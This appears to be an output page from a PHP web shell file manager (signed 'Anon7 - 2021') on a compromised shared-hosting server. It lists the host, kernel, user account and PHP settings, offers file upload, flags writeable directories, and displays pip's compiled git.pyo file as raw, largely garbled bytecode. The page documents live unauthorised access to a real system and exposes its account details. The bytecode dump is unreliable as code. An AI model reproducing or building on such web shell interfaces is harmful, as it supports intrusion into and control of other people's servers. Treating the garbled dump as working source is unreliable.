KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/pip/vcs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/pip/vcs/git.pyo
�
r2Wc@@s�ddlmZddlZddlZddlZddlmZddlm	Z	ddl
mZddl
m
ZddlmZmZddlmZmZejZejZeje�Zd	efd
��YZeje�dS(i(tabsolute_importN(tsamefile(t
BadCommand(tparse(trequest(tdisplay_pathtrmtree(tvcstVersionControltGitcB@s�eZdZdZdZdZdd�Zd	�Zd
�Z	d�Z
d�Zd
�Zd�Z
d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zed��ZRS(tgits.gittclonesgit+https	git+httpssgit+sshsgit+gitsgit+filecO@s�|r�t|�\}}}}}|jd�r�|t|jd�� }	|	tj|�jdd�jd�}
t|||
||f�}|jd�d}|| t||||
||f�}q�nt	t
|�j|||�dS(Ntfilet/s\t+i(turlsplittendswithtlentlstripturllib_requestturl2pathnametreplacet
urlunsplittfindtsuperR	t__init__(tselfturltargstkwargstschemetnetloctpathtquerytfragmenttinitial_slashestnewpatht
after_plus((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyRs
#cC@sytjdd�}|j|�zH|jd�s>|d}n|jdddd|gdtd	|�Wd
t|�Xd
S(s@Export the Git repository at the url to the destination locations-exportspip-R
scheckout-indexs-as-fs--prefixtshow_stdouttcwdN(ttempfiletmkdtemptunpackRtrun_commandtFalseR(Rtlocationttemp_dir((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytexport4s

cC@s_|j|�}d|}||kr0||gS||krG||gStjd|�|SdS(s�Check the revision options before checkout to compensate that tags
        and branches may need origin/ as a prefix.
        Returns the SHA1 of the branch or tag if found.
        s	origin/%ss5Could not find a tag or branch '%s', assuming commit.N(tget_short_refstloggertwarning(Rtrevtdesttrev_optionst	revisionst
origin_rev((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytcheck_rev_optionsAs

cC@s|j|�j|d�S(s

        Compare the current sha to the ref. ref may be a branch or tag name,
        but current rev will always point to a sha. This means that a branch
        or tag will never compare as True. So this ultimately only matches
        against exact shas.
        i(tget_revisiont
startswith(RR4R5((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
check_versionUscC@sJ|jdd|gd|�|jddg|d|�|j|�dS(Ntconfigsremote.origin.urlR'tcheckouts-q(R+tupdate_submodules(RR4RR5((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytswitch^scC@sl|jddgd|�|r;|j|d||�}n|jdddg|d|�|j|�dS(Ntfetchs-qR'itresets--hard(R+R8R>(RR4R5((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytupdateds cC@s�|j�\}}|r.|g}d|}ndg}d}|j||||�r�tjd||t|��|jdd||g�|r�|j|||�}|j||�s�|jddg|d|�q�n|j|�ndS(	Ns (to %s)s
origin/mastertsCloning %s%s to %sRs-qR=R'(	tget_url_revtcheck_destinationR1tinfoRR+R8R;R>(RR4RR3R5trev_display((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytobtainps"	
	
cC@sQ|jdddgdtd|�}|j�d}|jd�d}|j�S(	s+Return URL of the first remote encountered.R<s--get-regexpsremote\..*\.urlR&R'it i(R+R,t
splitlinestsplittstrip(RR-tremotestfirst_remoteR((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytget_url�scC@s+|jddgdtd|�}|j�S(Ns	rev-parsetHEADR&R'(R+R,RL(RR-tcurrent_rev((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyR9�scc@sn|jdgdtd|�}xI|j�j�D]5}|jdd�\}}|j�|j�fVq1WdS(s4Yields tuples of (commit, ref) for branches and tagssshow-refR&R'RIiN(R+R,RLRJRK(RR-toutputtlinetcommittref((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
get_full_refs�s
cC@s
|jd�S(Ns
refs/remotes/(R:(RRU((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
is_ref_remote�scC@s
|jd�S(Nsrefs/heads/(R:(RRU((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
is_ref_branch�scC@s
|jd�S(Ns
refs/tags/(R:(RRU((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
is_ref_tag�scC@s/t|j|�|j|�|j|�f�S(s0A ref is a commit sha if it is not anything else(tanyRWRXRY(RRU((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt
is_ref_commit�scC@s
|j|�S(N(R0(RR-((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytget_refs�scC@s�i}x�|j|�D]�\}}d}|j|�rJ|td�}nD|j|�rl|td�}n"|j|�r�|td�}n|dk	r|||<qqW|S(s=Return map of named refs (branches or tags) to commit hashes.s
refs/remotes/srefs/heads/s
refs/tags/N(RVtNoneRWRRXRY(RR-trvRTRUtref_name((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyR0�scC@s�|jddgdtd|�j�}tjj|�sQtjj||�}ntjj|d�}|}x]tjjtjj|d��s�|}tjj|�}||krot	j
d|�dSqoWt||�r�dStjj
||�S(	s:Return the relative path of setup.py to the git repo root.s	rev-parses	--git-dirR&R's..ssetup.pysGCould not find setup.py for directory %s (tried all parent directories)N(R+R,RLtosR tisabstjointexiststdirnameR1R2R]Rtrelpath(RR-tgit_dirtroot_dirt
orig_locationt
last_location((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt_get_subdirectory�s"$cC@s�|j|�}|j�jd�s1d|}n|j�jdd�d}|sWdS|j|�}d|||f}|j|�}|r�|d|7}n|S(Nsgit:sgit+t-iis%s@%s#egg=%ss&subdirectory=(ROtlowerR:tegg_nameRKR]R9Rj(RtdistR-trepotegg_project_nameRQtreqtsubdirectory((s//usr/lib/python2.7/site-packages/pip/vcs/git.pytget_src_requirement�s
cC@s|d|jkrW|jjdd�|_tt|�j�\}}|jdd�}ntt|�j�\}}||fS(s;
        Prefixes stub URLs like 'user@hostname:user/repo.git' with 'ssh://'.
        That's required because although they use SSH they sometimes doesn't
        work with a ssh:// scheme (e.g. Github). But we need a scheme for
        parsing. Hence we remove it again afterwards and return it as a stub.
        s://sgit+s
git+ssh://sssh://RC(RRRR	RD(RRR3((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyRD�scC@sKtjjtjj|d��s%dS|jdddddgd|�dS(Ns.gitmodulest	submoduleRBs--inits--recursives-qR'(R`R RcRbR+(RR-((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyR>�s
!cC@sutt|�j|�rtSy0|�jdgd|dtdd�}|SWn"tk
rptjd|�tSXdS(Ns	rev-parseR'R&t
on_returncodetignoresKcould not determine if %s is under git control because git is not available(	RR	tcontrols_locationtTrueR+R,RR1tdebug(tclsR-tr((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyRws		
	(R
sgit+https	git+httpssgit+sshsgit+gitsgit+fileN(t__name__t
__module__tnameRdt	repo_nametschemesR]RR/R8R;R?RBRHROR9RVRWRXRYR[R\R0RjRsRDR>tclassmethodRw(((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyR	s2	
																					(t
__future__RtloggingR(tos.pathR`t
pip.compatRtpip.exceptionsRtpip._vendor.six.moves.urllibRturllib_parseRRt	pip.utilsRRtpip.vcsRRRRt	getLoggerR|R1R	tregister(((s//usr/lib/python2.7/site-packages/pip/vcs/git.pyt<module>s		�

Anon7 - 2021